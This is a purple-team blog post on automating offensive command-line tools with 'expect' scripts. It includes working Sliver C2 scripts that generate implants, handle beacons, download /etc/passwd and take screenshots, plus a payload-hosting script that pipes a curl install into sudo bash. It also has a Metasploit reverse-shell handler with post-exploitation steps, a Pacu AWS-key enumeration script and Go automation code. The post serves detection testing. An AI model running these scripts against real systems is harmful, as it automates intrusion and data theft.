What To Expect When You’re “Expecting” — Purple Team Edition

Cedric Owens
12 min readAug 4, 2023

This blog post describes how “expect” routines can be used to help make Purple Team exercises more efficient and repeatable. In particular, this post will look at some examples of offensive command-line tools requiring user (operator) interaction, and how we can leverage “expect” routines for automation during Purple Team exercises. So, without further ado… let’s jump right in!

What Is An “Expect Routine”?

Expect routines have existed for many years and have been used by system administrators to automate command line tools/applications that require user input to continue. Once I learned about expect routines I quickly became a fan after realizing that I could use “expect” scripts to automate programs that would normally block until I perform some type of manual interaction.

Here is a very simple example of an expect script for those who may not be familiar:

#!/usr/bin/expect

set timeout -1
spawn docker run -ti ubuntu /bin/bash
expect "*#"
send -- "hostname\r"
expect "*#"
send -- "whoami\r"
expect "*#"
send -- "exit\r"
expect eof

This script disables timeout and then runs the spawn command to exec into the Ubuntu Docker container. I like to view “spawn” as where the “expect” routine resides (i.e., where the “expect” conditions are and where commands are sent). In our example above, after spawning the docker exec command, the first “expect” condition is looking for a command prompt (hashtag). Since this Docker container runs as root, we are looking for the root prompt here. Once that condition is met, the “expect” script then sends “hostname” followed by a carriage return. The “expect” script then anticipates another root shell prompt, after which the script sends “whoami” followed by a carriage return. Finally, the “expect” script waits for the root shell prompt and then sends “exit” followed by a carriage return, which exits out of the docker exec session.

Here is what executing the expect script above looks like:

Execution of the basic expect script

Nothing surprising — the script does exactly what we would expect:

  • execs into the ubuntu container
  • waits for a root shell prompt
  • runs the hostname command
  • waits for a root shell prompt
  • runs the whoami command
  • waits for a root shell prompt
  • runs the exit command

Now that we have some basics of how expect routines work, let’s look at examples of how we can leverage expect routines for Purple Team exercises!

Purple Team Use Cases

What I really love about “expect” routines from a Purple Team perspective is that they are tool-agnostic! As long as the tool runs on the command line and requires some type of user keyboard input, we are in business! We will look at a few examples showing the flexibility and usefulness of “expect” routines.

1) Sliver Command & Control (C2) Automation

One common request during Purple Team engagements is to detonate a C2 framework payload for the purpose of testing/validating detections. A common C2 framework among offensive security professionals is the Sliver C2 framework. Sliver is easy to use with a solid set of features and is written in GoLang, making it cross-platform. So we are going to look at an example of how “expect” routines can be used to automate Sliver C2 post-exploitation operator actions.

Here is an example of an “expect” script that spawns the Sliver server, waits for a beacon to call back, and then performs certain Sliver post-exploitation tasks:

#!/usr/bin/expect

set timeout -1
spawn sliver
expect ">"
send -- "generate --mtls hosthere --save /home/kali/implants/sliver-init --skip-symbols --os linux\r"
expect ">"
send -- "mtls\r"
expect "*Successfully started job*"
send -- "\r"
expect -re {([a-f0-9]{8})}
send -- "sessions -i $expect_out(1,string)\r"
expect "*Active session*"
send -- "\r"
expect ">"
send -- "download /etc/passwd\r"
expect "*Wrote*"
send -- "\r"
expect ">"
send -- "whoami\r"
expect "Logon ID:*"
send -- "\r"
expect ">"
send -- "netstat\r"
expect "Protocol*"
send -- "\r"
expect ">"
send -- "ifconfig\r"
expect "+*"
send -- "\r"
expect ">"
send -- "screenshot\r"
expect "Screenshot written to*"
send -- "\r"
expect ">"
send -- "exit\r"
expect eof

The expect script (let’s name it sliver-expect.sh) above performs the following actions:

  1. Spawns the Sliver C2 server (where the expect routine will live)
  2. Waits for the Sliver prompt (“>”)
  3. Sends the Sliver server command to generate an MTLS payload and save it to disk (more information on why I chose to save it to disk will be provided later).
  4. Sends the Sliver “mtls” command, which starts an MTLS listener by default on port 8888.
  5. Waits for a regex condition to be met: an 8-character alphanumeric string. This is essentially the expect script waiting for a beacon to establish communication (as Sliver beacons do not have a static session ID but instead use a random 8-digit alphanumeric string).
  6. Once a beacon connects, the 8-digit alphanumeric beacon ID is extracted and used in the “sessions” command (e.g., sessions -i [beacon_id]).
  7. At this stage, the expect script interacts with the beacon and can execute essentially any Sliver native post-exploitation command. Here are a few examples:
  • Executes the Sliver C2 “download” command to retrieve a target file (e.g., “/etc/passwd” in this case). The expect routine checks for a string containing the word “Wrote” as an indication of success. This could be useful in data exfiltration detection testing, where you could generate a randomly sized file (using a command like openssl rand -base64 1000000000 > testfile.txt) and then use the sliver “download” command to send testfile.txt to the Sliver C2 server.
  • Executes the shell “whoami” command. The expect routine looks for a string containing “Logon ID:” as an indication of success.
  • Executes the shell “netstat” command. The expect routine checks for a string containing the word “Protocol” as an indication of success.
  • Executes the shell “ifconfig” command. The expect routine looks for a string containing “+” as an indication of success.
  • Executes the Sliver C2 “screenshot” command. The expect routine checks for a string containing “Screenshot written to” as an indication of success.

Now let’s see how this looks when we run sliver-expect.sh:

└─$ ./sliver-expect.sh         
spawn sliver
Connecting to localhost:31337 ...

██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███
▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒
▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄
▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░

All hackers gain hexproof
[*] Server v1.5.40 - c17c37857e54f0fa202c01cbd00a99a85f5f9f49
[*] Welcome to the sliver shell, please type 'help' for options

sliver > generate --mtls 127.0.0.1 --save /home/kali/implants/sliver-init --skip-symbols --os linux

[*] Generating new linux/amd64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 14s
[*] Implant saved to /home/kali/implants/sliver-init

sliver > mtls

[*] Starting mTLS listener ...

[*] Successfully started job #1

sliver >
[*] Session 1c505dc8 VALUABLE_OBSERVATORY - 127.0.0.1:59136 (kali) - linux/amd64 - Mon, 03 Jul 2023 14:05:44 EDT

sliver > sessions -i 1c505dc8

[*] Active session VALUABLE_OBSERVATORY (1c505dc8)

sliver (VALUABLE_OBSERVATORY) >
sliver (VALUABLE_OBSERVATORY) > download /etc/passwd

[*] Wrote 3172 bytes (1 file successfully, 0 files unsuccessfully) to /home/kali/passwd

sliver (VALUABLE_OBSERVATORY) >
sliver (VALUABLE_OBSERVATORY) > whoami

Logon ID: kali

sliver (VALUABLE_OBSERVATORY) >
sliver (VALUABLE_OBSERVATORY) > netstat

Protocol Local Address Foreign Address State PID/Program Name
========== ====================== ========================================================== ============= ====================
tcp test.host.:42588 cdn-185-199-108-154.github.com.:443 ESTABLISHED 158836/firefox-esr
tcp localhost:59136 localhost:8888 ESTABLISHED 848606/sliver-init
tcp kali.lan.:37132 cdn-185-199-108-133.github.com.:443 ESTABLISHED 158836/firefox-esr

sliver (VALUABLE_OBSERVATORY) >
sliver (VALUABLE_OBSERVATORY) > ifconfig

+-------------------------------------------+
| eth0 |
+-------------------------------------------+
| # | IP Addresses | MAC Address |
+---+-------------------+-------------------+
| 2 | 192.168.87.250/24 | [omitted] |
+-------------------------------------------+
1 adapters not shown.

sliver (VALUABLE_OBSERVATORY) >
sliver (VALUABLE_OBSERVATORY) > screenshot

[*] Screenshot written to /tmp/screenshot_kali_20230703140545_4246135196.png (457.4 KiB)

sliver (VALUABLE_OBSERVATORY) >
sliver (VALUABLE_OBSERVATORY) > exit

This is a great example to model how to drive post-exploitation actions for a single Sliver beacon (i.e., the expect script exits out after a single execution). But what about handling multiple callbacks? Glad you asked!

Below is an example for driving post exploitation actions on more than 1 Sliver beacon:

#!/usr/bin/expect

set timeout -1
for {set i 1} {$i < 11} {incr i 1} {
spawn sliver
expect ">"
if {! [ file exists /home/kali/implants/sliver-init ]} {
send -- "generate --mtls hosthere --save /home/kali/implants/sliver-init --skip-symbols --os linux\r"
expect ">"
}

send -- "mtls\r"
expect "*Successfully started job*"
send -- "\r"
expect -re {([a-f0-9]{8})}
send -- "sessions -i $expect_out(0,string)\r"
expect "*Active session*"
send -- "\r"
expect ">"
send -- "whoami\r"
expect "Logon ID:*"
send -- "\r"
expect ">"
send -- "netstat\r"
expect "Protocol*"
send -- "\r"
expect ">"
send -- "ifconfig\r"
expect "+*"
send -- "\r"
expect ">"
send -- "screenshot\r"
expect "Screenshot written to*"
send -- "\r"
expect ">"
send -- "jobs -K\r"
expect "*stopped*"
send -- "\r"
expect ">"
send -- "exit\r"
}
expect eof

I added the following to sliver-expect.sh:

  • for loop: This is what allows the expect routine to repeat (i.e., allows us to repeat the sliver post-exploitation commands for more than one beacon). This example loop will repeat these sliver post-exploitation commands for 10 beacons.
  • if statement: Checks to see if the statically named “sliver-init” Sliver payload is already on disk and if not creates it. In my example here, I am using a statically named binary since I am also leveraging automation on the server that will host this payload and on the target for downloading.

You can edit as needed but this should be a skeleton to at least get you started for automating Sliver C2 post-exploitation actions for more than 1 callback.

One last point regarding Sliver C2 — above, we looked at how to automate beacon post-exploitation actions, but we did not really go into automating Sliver C2 installation and hosting the payload dropped by the “expect” script. You can use tools like Ansible to easily do this for you. Another option below is an example of a shell script that you could run on the attack server that will check to ensure Sliver is installed and then spawn the sliver-expect.sh routine above:

c2server=$1
if [ -f "/usr/local/bin/sliver" ];
then
echo -e "\n/usr/local/bin/sliver found, so skipping the install...\n"
sed -i -e 's|hosthere|'"$c2server"'|g' sliver-expect.sh
else
echo -e "\n/usr/local/bin/sliver not found...installing\n"
curl https://sliver.sh/install | sudo bash
echo -e "sliver install done...\n"
echo -e "Now standing up the sliver C2 server and generating a payload at /home/kali/implants/sliver-init\n"
sed -i -e 's|hosthere|'"$c2server"'|g' sliver-expect.sh
fi

if [ -f "/home/kali/implants/sliver-init" ];
then
echo -e "cleaning previous sliver-init payload from /home/kali/implants\n"
rm /home/kali/implants/sliver-init
fi

./sliver-expect.sh

sed -i -e 's|'"$c2server"'|hosthere|g' sliver-expect.sh

cd /home/kali/implants && timeout 300 python3 -m http.server 80

Summary of this script:

  1. The first argument provided when running the script is captured as the c2server variable (example: ./master.sh 127.0.0.1).
  2. The script installs Sliver if it is not already present at /usr/local/bin/sliver.
  3. The script replaces the placeholder string “hosthere” in sliver-expect.sh with the value of the c2server variable.
  4. It checks for the existence of /home/kali/implants/sliver-init and removes it if found, allowing for new binary generation.
  5. The script executes the sliver-expect.sh script.
  6. After the sliver-expect.sh script finishes, the placeholder text (“hosthere”) is restored.
  7. The script hosts the sliver-expect script, accessible at http://<host>/sliver-expect, with a timeout of 300 seconds (5 minutes) to retrieve the payload.
  8. In Purple Team exercises, strict network ACLs only allow the target server access to the attacker server’s hosting port (e.g., port 80), enabling automation on the target server to retrieve the payload using the C2 host information.

To summarize, running the master script on the attacker server handles Sliver installation, starts Sliver, generates and hosts the payload, and performs automated post-exploitation tasks on the beacons using the sliver-expect.sh script.

2) AWS Key Post-Exploitation Automation

Next, we will explore another use case to demonstrate the versatility of expect routines . This time, we will focus on post-exploitation with AWS keys. Below is an example of an expect script that can take a set of AWS keys and interact with Pacu to perform post-exploitation checks and tasks (assuming Pacu is already installed for brevity).

#!/usr/bin/expect

set timeout -1
spawn pacu
expect "Choose an option:"
send -- "0\r"
expect "What would you like to name this new session?"
send -- "purplesession\r"
expect ">"
send -- "set_keys\r"
expect "Key alias*"
send -- "mytest\r"
expect "Access key ID*"
send -- "paste_access_key_here\r"
expect "Secret access key*"
send -- "paste_secret_access_key_here\r"
expect "Session token*"
send -- "paste_session_token_here\r"
expect "Keys saved to database."
send -- "\r"
expect ">"
send -- "run aws__enum_account\r"
expect "*Enumerating Account:*"
send -- "\r"
expect ">"
send -- "exit\r"
expect eof

The Pacu expect script above functions properly after the initial run. If you are running Pacu for the first time, you can simply remove the first set of “expect” and “send” lines and begin with the line expect “What would you like to name this new session?”.

To use the Pacu expect script, you just need to replace the placeholder locations with your AWS key values and execute the script (or alternatively you can load them as environment variables and access them in the expect script). In my example above, I used a single Pacu post-exploitation command (run aws__enum_account), but you can replace it or add additional AWS post-exploitation commands as needed.

3) Metasploit Post-Exploitation Automation

Again, as expect routines work for any cli-based tool that accepts user keyboard input, you can also use expect for Metasploit post-exploitation as well:

#!/usr/bin/expect

set timeout -1
spawn msfconsole
expect "*>"
send -- "use exploit/multi/handler\r"
expect "*>"
send -- "set LHOST 0.0.0.0\r"
expect "*>"
send -- "set LPORT 8080\r"
expect "*>"
send -- "set payload linux/x64/meterpreter/reverse_tcp\r"
expect "*>"
send -- "set EXITONSESSION false\r"
expect "*>"
send -- "run -j\r"
for {set i 1} {$i < 11} {incr i 1} {
expect "Meterpreter session * opened*"
send -- "\r"
expect "*>"
send -- "sessions -i $i\r"
expect "meterpreter*"
send -- "ps\r"
expect "meterpreter*"
send -- "ifconfig\r"
expect "meterpreter*"
send -- "execute -f whoami"
send -- "\r"
expect "meterpreter*"
send -- "background\r"
expect "*>"
send -- "\r"

}
expect eof

This metasploit expect script is set to handle up to ten callbacks (as noted in the for loop). This script configures the listening address and port, starts the listener, waits for a beacon to phone in, and then interacts with the beacon to run post-exploitation commands. Again, I just included a few examples but you can change as needed.

Using Expect With Go

There are a couple of useful go packages that can run expect routines pretty closely to the native bash equivalent:

For brevity’s sake, I will demonstrate only a Google Expect example for Sliver C2:

package main

import (
"github.com/google/goexpect"
"regexp"
log "github.com/sirupsen/logrus"
"time"
"fmt"
"strings"
"os"
)

func main() {
//set up all of the expect conditions
promptRE := regexp.MustCompile("\\.>")
jobRE := regexp.MustCompile("Successfully started job")
sessionRE := regexp.MustCompile("Active session")
beaconRE := regexp.MustCompile("[a-f0-9]{8}")
whoamiRE := regexp.MustCompile("Logon ID:")
netstatRE := regexp.MustCompile("Protocol")
screenshotRE := regexp.MustCompile("Screenshot written to")

//set up expect routine timeout
timeout := 10 * time.Minute
short := 2 * time.Second

log.Info("[+] Starting the sliver C2 server...")

counter := 1

//spawning sliver
e, _, err := expect.Spawn("sliver",1)
if err != nil {
log.Fatal(err)
}
e.Expect(promptRE,short)

//start the mtls listener
e.Send("mtls\r")
e.Expect(jobRE,short)

//for loop to re-run the expect routine for 10 different callbacks at most
for counter < 11 {

//check if sliver-init is present and if not generate it
if _, err := os.Stat("/home/kali/implants/sliver-init"); err == nil {
log.Info("/home/kali/implants/sliver-init found and no new sliver-init payload will be generated.")
} else {
e.Expect(promptRE,short)
log.Info("===> Generating a sliver mtls linux payload and saving to /home/kali/implants/sliver-init")
e.Send("generate --mtls 127.0.0.1 --save /home/kali/implants/sliver-init --skip-symbols --os linux\r")
}

e.Expect(promptRE,short)
e.Send("\r")
log.Info("==> Waiting for a beacon to connect...")

//regex to search for beacon callbacks using the beacon ID
_, val1, _ := e.Expect(beaconRE,timeout)
beaconid2 := fmt.Sprintf("%s",val1)

log.Info(beaconid2)

beaconid3 := strings.Replace(beaconid2,"[","",1)
beaconid4 := strings.Replace(beaconid3, "]", "", 1)


beacontest := fmt.Sprintf("Beacon ID: %s",beaconid4)
log.Info(beacontest)

//after the beacon calls back, the expect routine runs these post exp steps
log.Info(fmt.Sprintf("==> Beacon with beaconID %s has connected. Now interacting with this beacon",beaconid4))
beaconcmd := fmt.Sprintf("\rsessions -i %s\r",beaconid4)
e.Send(beaconcmd)
e.Expect(sessionRE,short)
e.Send("\r")
e.Expect(promptRE,short)
log.Info("==> Running whoami...")
e.Send("whoami\r")
e.Expect(whoamiRE,short)
e.Send("\r")
e.Expect(promptRE,short)
log.Info("==> Running netstat...")
e.Send("netstat\r")
e.Expect(netstatRE,short)
e.Send("\r")
e.Expect(promptRE,short)
log.Info("==> Running the screenshot command...dropping to the /tmp directory...")
e.Send("screenshot\r")
e.Expect(screenshotRE,short)
e.Send("\r")
e.Expect(promptRE,short)
counter = counter + 1
}

log.Info("Done!")


}

The GoExpect implementation above closely follows the native implementation. The main difference is that the if condition and for loop are implemented in Go rather than within the expect routine, but the outcome remains the same. Personally, I prefer the Go implementation because I was able to optimize the code by moving the Sliver spawn out of the loop for better efficiency. Additionally, since I write other tools in Go, this allows for broader utilization of this code.

Here is an example of the output of multiple sliver beacons connecting into your Sliver C2 server and post exploitation actions being automated for each bacon via the Go implementation:

Sample golang implementation execution output

You can adjust this as needed in order to provide more/less feedback. The example above shows four different callbacks and the GoExpect routines consistently executing the same set of commands for each callback.

Summary

Expect routines are highly valuable in Purple Team exercises and can significantly reduce the need for manual reproduction of TTPs. Since expect routines are tool-agnostic and only require that the program be a command-line tool that requires user keyboard interaction, there are numerous use cases from a Purple Team perspective. We have discussed automating post-exploitation tasks using expect routines for C2 frameworks such as Sliver and Metasploit, as well as leveraging expect routines for AWS post-exploitation using Pacu. Additionally, we have explored useful Go libraries that can implement expect routines, which can be advantageous if you use Go in various other tools within your environment.

Happy Purple Teaming!

--

--

Cedric Owens

Red teamer with blue team roots🤓👨🏽‍💻 Twitter: @cedowens